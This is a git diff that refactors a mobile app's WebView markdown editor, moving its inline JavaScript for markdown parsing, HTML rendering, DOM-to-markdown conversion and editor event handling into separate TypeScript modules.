+  '        return String(value).replace(/&(#x[0-9a-f]+|#\\d+|amp|lt|gt|quot|apos);/gi, function (match, entity) {',
+  '          var lower = String(entity).toLowerCase();',
+  "          if (lower === 'amp') return '&';",
+  "          if (lower === 'lt') return '<';",
+  "          if (lower === 'gt') return '>';",
+  "          if (lower === 'quot') return '\"';",
+  "          if (lower === 'apos') return \"'\";",
+  "          if (lower.indexOf('#x') === 0) {",
+  '            var hex = Number.parseInt(lower.slice(2), 16);',
+  '            return Number.isFinite(hex) && hex >= 0 && hex <= 0x10ffff ? String.fromCodePoint(hex) : match;',
+  '          }',
+  "          if (lower.indexOf('#') === 0) {",
+  '            var code = Number.parseInt(lower.slice(1), 10);',
+  '            return Number.isFinite(code) && code >= 0 && code <= 0x10ffff ? String.fromCodePoint(code) : match;',
+  '          }',
+  '          return match;',
+  '        });',
+  '      }',
+  '',
+  '      function escapeHtml(value) {',
+  '        return decodeMarkdownEntities(value).replace(/[&<>"\']/g, function (char) {',
+  "          return ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '\"': '&quot;', \"'\": '&#39;' })[char];",
+  '        });',
+  '      }',
+  '',
+  '      function escapeAttr(value) {',
+  "        return escapeHtml(value).replace(/\\n/g, ' ');",
+  '      }',
+  '',
+  '      function isSafeUrl(value) {',
+  "        var trimmed = String(value || '').trim();",
+  '        return !/^javascript:/i.test(trimmed);',
+  '      }',
+  '',
+  '      function splitTableRow(line) {',
+  "        return line.trim().replace(/^\\|/, '').replace(/\\|$/, '').split('|').map(function (cell) {",
+  '          return cell.trim();',
+  '        });',
+  '      }',
+  '',
+  '      function isTableSeparator(line) {',
+  '        var cells = splitTableRow(line);',
+  '        return cells.length > 0 && cells.every(function (cell) {',
+  '          return /^:?-{3,}:?$/.test(cell);',
+  '        });',
+  '      }',
+  '',
+  '      function renderInline(text) {',
+  "        var output = '';",
+  '        var pattern = /(!\\[[^\\]]*\\]\\([^)]+\\)|`[^`]+`|~~[^~]+~~|\\*\\*[^*]+\\*\\*|__[^_]+__|\\*[^*\\n]+\\*|_[^_\\n]+_|\\[[^\\]]+\\]\\([^)]+\\)|https?:\\/\\/[^\\s<]+)/g;',
+  '        var lastIndex = 0;',
+  '        var match;',
+  '        while ((match = pattern.exec(text))) {',
+  '          output += escapeHtml(text.slice(lastIndex, match.index));',
+  '          var token = match[0];',
+  '          var image = token.match(/^!\\[([^\\]]*)\\]\\(([^)]+)\\)$/);',
+  '          var link = token.match(/^\\[([^\\]]+)\\]\\(([^)]+)\\)$/);',
+  '          if (image && isSafeUrl(image[2])) {',
+  "            output += '<img src=\"' + escapeAttr(image[2]) + '\" alt=\"' + escapeAttr(image[1] || '') + '\" />';",
+  '          } else if (link && isSafeUrl(link[2])) {',
+  "            output += '<a href=\"' + escapeAttr(link[2]) + '\">' + renderInline(link[1]) + '</a>';",
+  '          } else if (/^https?:\\/\\//i.test(token)) {',
+  "            output += '<a href=\"' + escapeAttr(token) + '\">' + escapeHtml(token) + '</a>';",
+  "          } else if (token.indexOf('`') === 0) {",
+  "            output += '<code>' + escapeHtml(token.slice(1, -1)) + '</code>';",
+  "          } else if (token.indexOf('~~') === 0) {",
+  "            output += '<s>' + renderInline(token.slice(2, -2)) + '</s>';",
+  "          } else if (token.indexOf('**') === 0 || token.indexOf('__') === 0) {",
+  "            output += '<strong>' + renderInline(token.slice(2, -2)) + '</strong>';",
+  '          } else {',
+  "            output += '<em>' + renderInline(token.slice(1, -1)) + '</em>';",
+  '          }',
+  '          lastIndex = pattern.lastIndex;',
+  '        }',
+  '        output += escapeHtml(text.slice(lastIndex));',
+  '        return output;',
+  '      }',
+  '',
+  '      function isBlockStart(line) {',
+  '        return /^(```|#{1,6}\\s+|>\\s?|\\s*(?:[-*+]|\\d+[.)])\\s+|\\s*(-{3,}|\\*{3,}|_{3,})\\s*$)/.test(line);'
+].join('\n')
diff --git a/mobile/src/components/mobile-rich-markdown-editor-body-secondary.ts b/mobile/src/components/mobile-rich-markdown-editor-body-secondary.ts
new file mode 100644
index 00000000000..70de1c33692
--- /dev/null
+++ b/mobile/src/components/mobile-rich-markdown-editor-body-secondary.ts
@@ -0,0 +1,278 @@
+export const MOBILE_RICH_MARKDOWN_EDITOR_BODY_SECONDARY = [
+  '      }',
+  '',
+  '      function indentationWidth(value) {',
+  "        return String(value || '').replace(/\\t/g, '    ').length;",
+  '      }',
+  '',
+  '      function parseListLine(line) {',
+  "        var match = String(line || '').match(/^(\\s*)((?:[-*+])|(?:\\d+[.)]))\\s+(.+)$/);",
+  '        if (!match) return null;',
+  "        var rawText = match[3] || '';",
+  '        var task = rawText.match(/^\\[([ xX])\\]\\s+(.+)$/);',
+  '        return {',
+  "          indent: indentationWidth(match[1] || ''),",
+  "          ordered: /^\\d/.test(match[2] || ''),",
+  "          orderedNumber: /^\\d/.test(match[2] || '') ? Number.parseInt(match[2], 10) : null,",
+  "          task: task ? task[1].toLowerCase() === 'x' : null,",
+  '          text: task ? task[2] : rawText,',
+  '          children: []',
+  '        };',
+  '      }',
+  '',
+  '      function listKind(item) {',
+  "        if (item.task !== null) return 'task';",
+  "        return item.ordered ? 'ol' : 'ul';",
+  '      }',
+  '',
+  '      function parseListTree(lines, startIndex) {',
+  '        var root = { indent: -1, children: [] };',
+  '        var stack = [root];',
+  '        var index = startIndex;',
+  '        while (index < lines.length) {',
+  "          var item = parseListLine(lines[index] || '');",
+  '          if (!item) break;',
+  '          while (stack.length > 1 && item.indent <= stack[stack.length - 1].indent) {',
+  '            stack.pop();',
+  '          }',
+  '          stack[stack.length - 1].children.push(item);',
+  '          stack.push(item);',
+  '          index += 1;',
+  '        }',
+  '        return { items: root.children, nextIndex: index };',
+  '      }',
+  '',
+  '      function renderListItems(items) {',
+  '        var html = [];',
+  '        var index = 0;',
+  '        while (index < items.length) {',
+  '          var kind = listKind(items[index]);',
+  '          var group = [];',
+  '          while (index < items.length && listKind(items[index]) === kind) {',
+  '            group.push(items[index]);',
+  '            index += 1;',
+  '          }',
+  "          var tag = kind === 'ol' ? 'ol' : 'ul';",
+  "          var attrs = kind === 'task' ? ' data-type=\"taskList\"' : kind === 'ol' && group[0].orderedNumber !== null ? ' start=\"' + group[0].orderedNumber + '\"' : '';",
+  "          html.push('<' + tag + attrs + '>' + group.map(function (item) {",
+  "            var children = item.children.length ? renderListItems(item.children) : '';",
+  "            if (kind === 'task') {",
+  '              var checked = item.task === true;',
+  "              return '<li data-checked=\"' + String(checked) + '\"><label contenteditable=\"false\"><input type=\"checkbox\" ' + (checked ? 'checked ' : '') + (editable ? '' : 'disabled ') + '/></label><div><p>' + renderInline(item.text) + '</p>' + children + '</div></li>';",
+  '            }',
+  "            var orderedAttrs = kind === 'ol' && item.orderedNumber !== null ? ' value=\"' + item.orderedNumber + '\" data-list-number=\"' + item.orderedNumber + '\"' : '';",
+  "            return '<li' + orderedAttrs + '><p>' + renderInline(item.text) + '</p>' + children + '</li>';",
+  "          }).join('') + '</' + tag + '>');",
+  '        }',
+  "        return html.join('');",
+  '      }',
+  '',
+  '      function markdownToHtml(markdown) {',
+  "        var lines = String(markdown || '').replace(/\\r\\n?/g, '\\n').split('\\n');",
+  '        var html = [];',
+  '        var index = 0;',
+  '        while (index < lines.length) {',
+  "          var line = lines[index] || '';",
+  '          if (!line.trim()) {',
+  '            index += 1;',
+  '            continue;',
+  '          }',
+  '          var fence = line.match(/^\\```([^\\s`]*)\\s*$/);',
+  '          if (fence) {',
+  '            index += 1;',
+  '            var code = [];',
+  "            while (index < lines.length && !/^\\```\\s*$/.test(lines[index] || '')) {",
+  "              code.push(lines[index] || '');",
+  '              index += 1;',
+  '            }',
+  '            if (index < lines.length) index += 1;',
+  "            html.push('<pre data-language=\"' + escapeAttr(fence[1] || '') + '\"><code>' + escapeHtml(code.join('\\n')) + '</code></pre>');",
+  '            continue;',
+  '          }',
+  '          if (/^\\s*(-{3,}|\\*{3,}|_{3,})\\s*$/.test(line)) {',
+  "            html.push('<hr />');",
+  '            index += 1;',
+  '            continue;',
+  '          }',
+  "          if (line.indexOf('|') >= 0 && index + 1 < lines.length && isTableSeparator(lines[index + 1] || '')) {",
+  '            var headers = splitTableRow(line);',
+  '            index += 2;',
+  '            var rows = [];',
+  "            while (index < lines.length && (lines[index] || '').indexOf('|') >= 0 && (lines[index] || '').trim()) {",
+  "              rows.push(splitTableRow(lines[index] || ''));",
+  '              index += 1;',
+  '            }',
+  "            html.push('<table><thead><tr>' + headers.map(function (cell) { return '<th>' + renderInline(cell) + '</th>'; }).join('') + '</tr></thead><tbody>' + rows.map(function (row) {",
+  "              return '<tr>' + headers.map(function (_, cellIndex) { return '<td>' + renderInline(row[cellIndex] || '') + '</td>'; }).join('') + '</tr>';",
+  "            }).join('') + '</tbody></table>');",
+  '            continue;',
+  '          }',
+  '          var heading = line.match(/^(#{1,6})\\s+(.+)$/);',
+  '          if (heading) {',
+  "            html.push('<h' + heading[1].length + '>' + renderInline(heading[2].trim()) + '</h' + heading[1].length + '>');",
+  '            index += 1;',
+  '            continue;',
+  '          }',
+  '          if (/^>\\s?/.test(line)) {',
+  '            var quote = [];',
+  "            while (index < lines.length && /^>\\s?/.test(lines[index] || '')) {",
+  "              quote.push((lines[index] || '').replace(/^>\\s?/, ''));",
+  '              index += 1;',
+  '            }',
+  "            html.push('<blockquote><p>' + renderInline(quote.join('\\n').trim()).replace(/\\n/g, '<br />') + '</p></blockquote>');",
+  '            continue;',
+  '          }',
+  '          if (/^\\s*(?:[-*+]|\\d+[.)])\\s+/.test(line)) {',
+  '            var list = parseListTree(lines, index);',
+  '            html.push(renderListItems(list.items));',
+  '            index = list.nextIndex;',
+  '            continue;',
+  '          }',
+  '          var paragraph = [];',
+  "          while (index < lines.length && (lines[index] || '').trim() && !isBlockStart(lines[index] || '') && !(index + 1 < lines.length && (lines[index] || '').indexOf('|') >= 0 && isTableSeparator(lines[index + 1] || ''))) {",
+  "            paragraph.push(lines[index] || '');",
+  '            index += 1;',
+  '          }',
+  "          html.push('<p>' + renderInline(paragraph.join('\\n')).replace(/\\n/g, '<br />') + '</p>');",
+  '        }',
+  "        return html.join('\\n') || '<p class=\"is-empty\"><br /></p>';",
+  '      }',
+  '',
+  '      function textContent(node) {',
+  "        return (node.textContent || '').replace(/\\u00a0/g, ' ');",
+  '      }',
+  '',
+  '      function inlineMarkdown(node) {',
+  "        if (!node) return '';",
+  '        if (node.nodeType === Node.TEXT_NODE) return textContent(node);',
+  "        if (node.nodeType !== Node.ELEMENT_NODE) return '';",
+  '        var el = node;',
+  '        var tag = el.tagName.toLowerCase();',
+  "        if (tag === 'br') return '\\n';",
+  "        if (tag === 'strong' || tag === 'b') return '**' + inlineChildren(el) + '**';",
+  "        if (tag === 'em' || tag === 'i') return '*' + inlineChildren(el) + '*';",
+  "        if (tag === 's' || tag === 'del' || tag === 'strike') return '~~' + inlineChildren(el) + '~~';",
+  "        if (tag === 'code' && el.parentElement && el.parentElement.tagName.toLowerCase() !== 'pre') return '`' + textContent(el) + '`';",
+  "        if (tag === 'a') return '[' + inlineChildren(el) + '](' + (el.getAttribute('href') || '') + ')';",
+  "        if (tag === 'img') return '![' + (el.getAttribute('alt') || '') + '](' + (el.getAttribute('src') || '') + ')';",
+  "        if (tag === 'label') return '';",
+  '        return inlineChildren(el);',
+  '      }',
+  '',
+  '      function inlineChildren(el) {',
+  "        return Array.prototype.map.call(el.childNodes, inlineMarkdown).join('');",
+  '      }',
+  '',
+  '      function listItemText(li) {',
+  '        var clone = li.cloneNode(true);',
+  "        Array.prototype.forEach.call(clone.querySelectorAll('label'), function (label) { label.remove(); });",
+  "        Array.prototype.forEach.call(clone.querySelectorAll('ul, ol'), function (list) { list.remove(); });",
+  '        return inlineChildren(clone).trim();',
+  '      }',
+  '',
+  '      function directNestedLists(li) {',
+  "        return Array.prototype.filter.call(li.querySelectorAll('ul, ol'), function (list) {",
+  "          return list.closest('li') === li;",
+  '        });',
+  '      }',
+  '',
+  '      function listMarkdown(el, depth) {',
+  '        var tag = el.tagName.toLowerCase();',
+  "        var isTask = el.getAttribute('data-type') === 'taskList';",
+  "        var orderedStart = tag === 'ol' ? Number.parseInt(el.getAttribute('start') || '1', 10) : 1;",
+  '        if (!Number.isFinite(orderedStart)) orderedStart = 1;',
+  "        var indent = '  '.repeat(depth);",
+  '        return Array.prototype.map.call(el.children, function (li, index) {',
+  "          if (li.tagName.toLowerCase() !== 'li') return '';",
+  '          var marker;',
+  '          if (isTask) {',
+  '            var input = li.querySelector(\'input[type="checkbox"]\');',
+  "            marker = '- [' + (input && input.checked ? 'x' : ' ') + '] ';",
+  '          } else {',
+  '            var listNumber =',
+  '              li.getAttribute &&',
+  "              (li.getAttribute('data-list-number') || li.getAttribute('value'));",
+  "            marker = tag === 'ol' ? String(listNumber || orderedStart + index) + '. ' : '- ';",
+  '          }',
+  '          var line = indent + marker + listItemText(li);',
+  '          var nested = directNestedLists(li).map(function (list) {',
+  '            return listMarkdown(list, depth + 1);',
+  "          }).filter(Boolean).join('\\n');",
+  "          return nested ? line + '\\n' + nested : line;",
+  "        }).filter(Boolean).join('\\n');",
+  '      }',
+  '',
+  '      function blockMarkdown(node) {',
+  '        if (node.nodeType === Node.TEXT_NODE) return textContent(node).trim();',
+  "        if (node.nodeType !== Node.ELEMENT_NODE) return '';",
+  '        var el = node;',
+  '        var tag = el.tagName.toLowerCase();',
+  "        if (tag.match(/^h[1-6]$/)) return '#'.repeat(Number(tag.slice(1))) + ' ' + inlineChildren(el).trim();",
+  "        if (tag === 'p' || tag === 'div') return inlineChildren(el).trim();",
+  "        if (tag === 'blockquote') {",
+  "          return inlineChildren(el).trim().split('\\n').map(function (line) { return '> ' + line; }).join('\\n');",
+  '        }',
+  "        if (tag === 'pre') {",
+  "          var lang = el.getAttribute('data-language') || '';",
+  "          var code = textContent(el.querySelector('code') || el).replace(/\\n+$/g, '');",
+  "          return '```' + lang + '\\n' + code + '\\n```';",
+  '        }',
+  "        if (tag === 'ul' || tag === 'ol') {",
+  '          return listMarkdown(el, 0);',
+  '        }',
+  "        if (tag === 'table') {",
+  "          var rows = Array.prototype.slice.call(el.querySelectorAll('tr'));",
+  "          if (rows.length === 0) return '';",
+  '          var cellsFor = function (row) {',
+  '            return Array.prototype.map.call(row.children, function (cell) { return inlineChildren(cell).trim(); });',
+  '          };',
+  '          var headers = cellsFor(rows[0]);',
+  '          var bodyRows = rows.slice(1).map(cellsFor);',
+  "          return '| ' + headers.join(' | ') + ' |\\n| ' + headers.map(function () { return '---'; }).join(' | ') + ' |' + (bodyRows.length ? '\\n' + bodyRows.map(function (row) { return '| ' + row.join(' | ') + ' |'; }).join('\\n') : '');",
+  '        }',
+  "        if (tag === 'hr') return '---';",
+  "        if (tag === 'img') return inlineMarkdown(el);",
+  '        return inlineChildren(el).trim();',
+  '      }',
+  '',
+  '      function currentMarkdown() {',
+  '        return Array.prototype.map.call(editor.childNodes, blockMarkdown).filter(function (block) {',
+  '          return block.trim().length > 0;',
+  "        }).join('\\n\\n').trimEnd();",
+  '      }',
+  '',
+  '      function syncTaskCheckboxesDisabled() {',
+  '        Array.prototype.forEach.call(editor.querySelectorAll(\'input[type="checkbox"]\'), function (input) {',
+  '          input.disabled = !editable;',
+  '        });',
+  '      }',
+  '',
+  '      function emitChange() {',
+  '        if (suppressInput || !editable) return;',
+  '        window.clearTimeout(inputTimer);',
+  '        var pendingGeneration = documentGeneration;',
+  '        lastMarkdown = currentMarkdown();',
+  "        post({ type: 'change', markdown: lastMarkdown, generation: pendingGeneration });",
+  '      }',
+  '',
+  '      function setMarkdown(markdown, generation) {',
+  '        window.clearTimeout(inputTimer);',
+  '        documentGeneration = Number(generation) || 0;',
+  '        suppressInput = true;',
+  "        // Why: replacing innerHTML detaches the remembered caret's nodes.",
+  '        savedSelectionRange = null;',
+  '        selectionDroppedOnBlur = false;',
+  "        lastMarkdown = String(markdown || '');",
+  '        editor.innerHTML = markdownToHtml(lastMarkdown);',
+  '        syncTaskCheckboxesDisabled();',
+  '        suppressInput = false;',
+  '      }',
+  '',
+  '      function setEditable(nextEditable) {',
+  '        editable = Boolean(nextEditable);',
+  "        editor.setAttribute('contenteditable', editable ? 'true' : 'false');",
+  '        syncTaskCheckboxesDisabled();',
+  '      }',
+  '',
+  ''
+].join('\n')
diff --git a/mobile/src/components/mobile-rich-markdown-editor-document-suffix.ts b/mobile/src/components/mobile-rich-markdown-editor-document-suffix.ts
new file mode 100644
index 00000000000..c4933f28bfd
--- /dev/null
+++ b/mobile/src/components/mobile-rich-markdown-editor-document-suffix.ts
@@ -0,0 +1,93 @@
+export const MOBILE_RICH_MARKDOWN_EDITOR_AFTER_KEYBOARD_DISMISS = [
+  '',
+  '      function runCommand(command) {',
+  "        if (!editable || editor.getAttribute('contenteditable') !== 'true') return;",
+  '        restoreSelectionOrEnd();',
+  "        if (command === 'paragraph') document.execCommand('formatBlock', false, 'p');",
+  "        else if (command === 'heading1') document.execCommand('formatBlock', false, 'h1');",
+  "        else if (command === 'heading2') document.execCommand('formatBlock', false, 'h2');",
+  "        else if (command === 'heading3') document.execCommand('formatBlock', false, 'h3');",
+  "        else if (command === 'bold') document.execCommand('bold');",
+  "        else if (command === 'italic') document.execCommand('italic');",
+  "        else if (command === 'strike') document.execCommand('strikeThrough');",
+  "        else if (command === 'bulletList') document.execCommand('insertUnorderedList');",
+  "        else if (command === 'orderedList') document.execCommand('insertOrderedList');",
+  "        else if (command === 'quote') document.execCommand('formatBlock', false, 'blockquote');",
+  "        else if (command === 'inlineCode') wrapSelection('code');",
+  "        else if (command === 'codeBlock') document.execCommand('insertHTML', false, '<pre data-language=\"\"><code>code</code></pre><p><br></p>');",
+  '        else if (command === \'taskList\') document.execCommand(\'insertHTML\', false, \'<ul data-type="taskList"><li data-checked="false"><label contenteditable="false"><input type="checkbox" /></label><div><p>Task</p></div></li></ul>\');',
+  "        else if (command === 'link') {",
+  "          var href = window.prompt('Link URL');",
+  "          if (href && isSafeUrl(href)) document.execCommand('createLink', false, href);",
+  "        } else if (command === 'image') {",
+  "          var src = window.prompt('Image URL');",
+  "          if (src && isSafeUrl(src)) document.execCommand('insertImage', false, src);",
+  '        }',
+  '        syncTaskCheckboxesDisabled();',
+  '        emitChange();',
+  '      }',
+  '',
+  "      editor.addEventListener('input', function () {",
+  '        selectionDroppedOnBlur = false;',
+  '        if (editable) emitChange();',
+  '      });',
+  "      editor.addEventListener('change', function (event) {",
+  '        var input = event.target && event.target.closest && event.target.closest(\'input[type="checkbox"]\');',
+  '        if (input) {',
+  '          if (!editable) {',
+  '            event.preventDefault();',
+  '            return;',
+  '          }',
+  "          var li = input.closest('li');",
+  "          if (li) li.setAttribute('data-checked', input.checked ? 'true' : 'false');",
+  '        }',
+  '        if (editable) emitChange();',
+  '      });',
+  "      editor.addEventListener('click', function (event) {",
+  "        var link = event.target && event.target.closest && event.target.closest('a[href]');",
+  '        if (link) {',
+  '          event.preventDefault();',
+  "          post({ type: 'openLink', url: link.getAttribute('href') || '' });",
+  '          return;',
+  '        }',
+  '        var input = event.target && event.target.closest && event.target.closest(\'input[type="checkbox"]\');',
+  '        if (!input) {',
+  '          if (!editable) return;',
+  '          // Why: a task-list label forwards its click to the checkbox, so refocusing here would steal it and re-open the keyboard.',
+  '          var uneditable = event.target && event.target.closest && event.target.closest(\'[contenteditable="false"]\');',
+  '          if (uneditable && uneditable !== editor) return;',
+  '          selectionDroppedOnBlur = false;',
+  '          if (document.activeElement === editor) return;',
+  '          // Why: refocusing after a dismissal otherwise types at the stale caret, not where the user tapped.',
+  '          var caret = caretRangeAtPoint(event.clientX, event.clientY);',
+  '          focusEditor();',
+  '          if (caret && editor.contains(caret.commonAncestorContainer)) applySelectionRange(caret);',
+  '          return;',
+  '        }',
+  '        if (!editable) {',
+  '          event.preventDefault();',
+  '          return;',
+  '        }',
+  "        var li = input.closest('li');",
+  "        if (li) li.setAttribute('data-checked', input.checked ? 'true' : 'false');",
+  '        emitChange();',
+  '      });',
+  "      editor.addEventListener('keydown', function (event) {",
+  "        if ((event.metaKey || event.ctrlKey) && event.key.toLowerCase() === 'b') {",
+  '          event.preventDefault();',
+  "          runCommand('bold');",
+  '        }',
+  '      });',
+  '',
+  '      window.__orcaRichMarkdown = { setMarkdown: setMarkdown, setEditable: setEditable, runCommand: runCommand, currentMarkdown: currentMarkdown, dismissKeyboard: dismissKeyboard };',
+  ''
+].join('\n')
+
+export const MOBILE_RICH_MARKDOWN_EDITOR_DOCUMENT_END = [
+  '',
+  "      post({ type: 'ready' });",
+  '    })();',
+  '  </script>',
+  '</body>',
+  '</html>'
+].join('\n')
diff --git a/mobile/src/components/mobile-rich-markdown-editor-html.ts b/mobile/src/components/mobile-rich-markdown-editor-html.ts
index b7ff1649075..493fea3dd02 100644
--- a/mobile/src/components/mobile-rich-markdown-editor-html.ts
+++ b/mobile/src/components/mobile-rich-markdown-editor-html.ts
@@ -2,6 +2,12 @@ import { colors } from '../theme/mobile-theme'
 import { MOBILE_RICH_MARKDOWN_KEYBOARD_DISMISS_SCRIPT } from './mobile-rich-markdown-keyboard-dismiss-script'
 import { MOBILE_RICH_MARKDOWN_KEYBOARD_INSET_SCRIPT } from './mobile-rich-markdown-editor-keyboard-inset-script'
 import { MOBILE_RICH_MARKDOWN_SELECTION_SCRIPT } from './mobile-rich-markdown-selection-script'
+import { MOBILE_RICH_MARKDOWN_EDITOR_BODY_PRIMARY } from './mobile-rich-markdown-editor-body-primary'
+import { MOBILE_RICH_MARKDOWN_EDITOR_BODY_SECONDARY } from './mobile-rich-markdown-editor-body-secondary'
+import {
+  MOBILE_RICH_MARKDOWN_EDITOR_AFTER_KEYBOARD_DISMISS,
+  MOBILE_RICH_MARKDOWN_EDITOR_DOCUMENT_END
+} from './mobile-rich-markdown-editor-document-suffix'
 
 export function escapeInjectedJavaScriptString(value: string): string {
   return JSON.stringify(value).replace(/<\/script/gi, '<\\/script')
@@ -24,644 +30,7 @@ export function buildMobileRichMarkdownEditorHtml(): string {
       --border: ${colors.borderSubtle};
       --primary: ${colors.textPrimary};
       --primary-foreground: ${colors.bgBase};
-      --accent-link: ${colors.accentBlue};
-      --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", monospace;
-      --font-sans: Geist, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
-    }
-    * { box-sizing: border-box; -webkit-tap-highlight-color: transparent; }
-    html, body {
-      width: 100%;
-      min-height: 100%;
-      margin: 0;
-      background: var(--editor-surface);
-      color: var(--foreground);
-      font-family: var(--font-sans);
-      overscroll-behavior: contain;
-    }
-    body { overflow: auto; }
-    #editor {
-      min-height: 100vh;
-      padding: 18px 16px 112px;
-      outline: none;
-      font-size: 14px;
-      line-height: 1.7;
-      word-wrap: break-word;
-      overflow-wrap: anywhere;
-      caret-color: var(--foreground);
-    }
-    #editor[contenteditable="false"] {
-      opacity: 0.78;
-    }
-    #editor:empty::before,
-    #editor p.is-empty:first-child::before {
-      content: attr(data-placeholder);
-      color: var(--muted-foreground);
-      pointer-events: none;
-    }
-    #editor > :first-child { margin-top: 0; }
-    h1, h2, h3, h4, h5, h6 {
-      margin: 1.5em 0 0.5em;
-      font-weight: 600;
-      line-height: 1.3;
-      letter-spacing: 0;
-    }
-    h1 { font-size: 1.85em; font-weight: 700; }
-    h2 { font-size: 1.4em; }
-    h3 { font-size: 1.15em; }
-    p, ul, ol, blockquote { margin: 0.75em 0; }
-    ul, ol { padding-left: 1.5em; }
-    ul { list-style: disc; }
-    ol { list-style: decimal; }
-    li { margin: 0.15em 0; }
-    li > p { margin: 0; }
-    ul[data-type="taskList"] {
-      padding-left: 0;
-      list-style: none;
-    }
-    ul[data-type="taskList"] > li {
-      display: flex;
-      align-items: flex-start;
-      gap: 6px;
-    }
-    ul[data-type="taskList"] > li > label {
-      flex-shrink: 0;
-      display: flex;
-      align-items: center;
-      height: 1.55em;
-      user-select: none;
-    }
-    ul[data-type="taskList"] input[type="checkbox"] {
-      appearance: none;
-      width: 16px;
-      height: 16px;
-      margin: 0;
-      border: 1.5px solid color-mix(in srgb, var(--foreground) 55%, transparent);
-      border-radius: 4px;
-      background: transparent;
-      position: relative;
-    }
-    ul[data-type="taskList"] input[type="checkbox"]:checked {
-      background: var(--primary);
-      border-color: var(--primary);
-    }
-    ul[data-type="taskList"] input[type="checkbox"]:checked::after {
-      content: "";
-      position: absolute;
-      left: 4px;
-      top: 1px;
-      width: 5px;
-      height: 9px;
-      border: solid var(--primary-foreground);
-      border-width: 0 2px 2px 0;
-      transform: rotate(45deg);
-    }
-    ul[data-type="taskList"] input[type="checkbox"]:disabled {
-      opacity: 0.65;
-    }
-    ul[data-type="taskList"] > li > div {
-      flex: 1;
-      min-width: 0;
-    }
-    ul[data-type="taskList"] > li[data-checked="true"] > div {
-      text-decoration: line-through;
-      color: var(--muted-foreground);
-    }
-    blockquote {
-      padding: 0.5em 1em;
-      border-left: 3px solid var(--border);
-      border-radius: 0 6px 6px 0;
-      color: var(--muted-foreground);
-      background: color-mix(in srgb, var(--foreground) 2%, transparent);
-    }
-    table {
-      width: 100%;
-      margin: 1em 0;
-      border-collapse: collapse;
-      font-size: 0.95em;
-    }
-    th, td {
-      padding: 8px 14px;
-      border: 1px solid var(--border);
-      text-align: left;
-      vertical-align: top;
-    }
-    th {
-      font-weight: 600;
-      background: color-mix(in srgb, var(--foreground) 4%, transparent);
-    }
-    tr:nth-child(odd) td {
-      background: color-mix(in srgb, var(--foreground) 1.5%, transparent);
-    }
-    code {
-      padding: 0.2em 0.4em;
-      border-radius: 5px;
-      background: color-mix(in srgb, var(--foreground) 8%, transparent);
-      font-size: 0.88em;
-      font-family: var(--font-mono);
-    }
-    pre {
-      margin: 0.75em 0;
-      padding: 14px 18px;
-      border-radius: 8px;
-      border: 1px solid color-mix(in srgb, var(--foreground) 6%, transparent);
-      overflow-x: auto;
-      line-height: 1.55;
-      background: color-mix(in srgb, var(--foreground) 6%, transparent);
-      font-family: var(--font-mono);
-      white-space: pre-wrap;
-    }
-    pre::before {
-      content: attr(data-language);
-      display: block;
-      min-height: 13px;
-      margin-bottom: 4px;
-      color: var(--muted-foreground);
-      font-size: 11px;
-      text-transform: uppercase;
-    }
-    pre code {
-      padding: 0;
-      border-radius: 0;
-      background: transparent;
-      font-size: 0.92em;
-      white-space: pre-wrap;
-    }
-    hr {
-      margin: 1.5em 0;
-      border: none;
-      border-top: 1px solid var(--border);
-    }
-    a {
-      color: var(--accent-link);
-      text-decoration: underline;
-      text-decoration-color: color-mix(in srgb, currentColor 40%, transparent);
-      text-underline-offset: 2px;
-    }
-    img {
-      display: block;
-      max-width: 100%;
-      margin: 0.75em 0;
-      border-radius: 8px;
-    }
-  </style>
-</head>
-<body>
-  <main id="editor" contenteditable="true" data-placeholder="Start writing..."></main>
-  <script>
-    (function () {
-      var editor = document.getElementById('editor');
-      var lastMarkdown = '';
-      var inputTimer = null;
-      var documentGeneration = 0;
-      var editable = true;
-      var suppressInput = false;
-
-      function post(message) {
-        window.ReactNativeWebView && window.ReactNativeWebView.postMessage(JSON.stringify(message));
-      }
-
-      function decodeMarkdownEntities(value) {
-        return String(value).replace(/&(#x[0-9a-f]+|#\\d+|amp|lt|gt|quot|apos);/gi, function (match, entity) {
-          var lower = String(entity).toLowerCase();
-          if (lower === 'amp') return '&';
-          if (lower === 'lt') return '<';
-          if (lower === 'gt') return '>';
-          if (lower === 'quot') return '"';
-          if (lower === 'apos') return "'";
-          if (lower.indexOf('#x') === 0) {
-            var hex = Number.parseInt(lower.slice(2), 16);
-            return Number.isFinite(hex) && hex >= 0 && hex <= 0x10ffff ? String.fromCodePoint(hex) : match;
-          }
-          if (lower.indexOf('#') === 0) {
-            var code = Number.parseInt(lower.slice(1), 10);
-            return Number.isFinite(code) && code >= 0 && code <= 0x10ffff ? String.fromCodePoint(code) : match;
-          }
-          return match;
-        });
-      }
-
-      function escapeHtml(value) {
-        return decodeMarkdownEntities(value).replace(/[&<>"']/g, function (char) {
-          return ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[char];
-        });
-      }
-
-      function escapeAttr(value) {
-        return escapeHtml(value).replace(/\\n/g, ' ');
-      }
-
-      function isSafeUrl(value) {
-        var trimmed = String(value || '').trim();
-        return !/^javascript:/i.test(trimmed);
-      }
-
-      function splitTableRow(line) {
-        return line.trim().replace(/^\\|/, '').replace(/\\|$/, '').split('|').map(function (cell) {
-          return cell.trim();
-        });
-      }
-
-      function isTableSeparator(line) {
-        var cells = splitTableRow(line);
-        return cells.length > 0 && cells.every(function (cell) {
-          return /^:?-{3,}:?$/.test(cell);
-        });
-      }
-
-      function renderInline(text) {
-        var output = '';
-        var pattern = /(!\\[[^\\]]*\\]\\([^)]+\\)|\`[^\`]+\`|~~[^~]+~~|\\*\\*[^*]+\\*\\*|__[^_]+__|\\*[^*\\n]+\\*|_[^_\\n]+_|\\[[^\\]]+\\]\\([^)]+\\)|https?:\\/\\/[^\\s<]+)/g;
-        var lastIndex = 0;
-        var match;
-        while ((match = pattern.exec(text))) {
-          output += escapeHtml(text.slice(lastIndex, match.index));
-          var token = match[0];
-          var image = token.match(/^!\\[([^\\]]*)\\]\\(([^)]+)\\)$/);
-          var link = token.match(/^\\[([^\\]]+)\\]\\(([^)]+)\\)$/);
-          if (image && isSafeUrl(image[2])) {
-            output += '<img src="' + escapeAttr(image[2]) + '" alt="' + escapeAttr(image[1] || '') + '" />';
-          } else if (link && isSafeUrl(link[2])) {
-            output += '<a href="' + escapeAttr(link[2]) + '">' + renderInline(link[1]) + '</a>';
-          } else if (/^https?:\\/\\//i.test(token)) {
